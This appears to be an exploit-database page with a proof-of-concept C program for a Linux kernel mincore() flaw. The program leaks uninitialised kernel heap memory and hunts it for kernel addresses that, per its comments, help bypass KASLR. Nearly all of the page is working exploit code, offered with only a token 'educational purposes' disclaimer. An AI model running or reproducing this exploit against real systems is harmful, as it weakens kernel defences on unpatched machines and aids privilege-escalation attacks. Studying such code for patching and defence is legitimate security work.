Linux kernel mincore() heap page disclosure (poc) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2017-12-11 | Type : dos | Platform : linux
This exploit / vulnerability Linux kernel mincore() heap page disclosure (poc) is for educational purposes only and if it is used you will do on your own risk!

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/*
* The source is modified from
* https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
* I try to find out infomation useful from the infoleak
* The kernel address can be easily found out from the uninitialized memory
* leaked from kernel, which can help bypass kaslr
*/

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>

int main(void) {
unsigned char buf[getpagesize()/sizeof(unsigned char)];
int right = 1;
unsigned long addr = 0;

/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED)
err(1, "mmap");

while(right){
/* Touch a mishandle with this type mapping */
if (mincore((void*)0x86000000, 0x1000000, buf))
perror("mincore");
for( int n=0; n<getpagesize()/sizeof(unsigned char); n++) {
addr = *(unsigned long*)(&buf[n]);
/* Kernel address space, may need some mask&offset */
if(addr > 0xffffffff00000000){
right = 0;
goto out;
}
}
}
out:
printf("%p\n", addr);
return 0;
}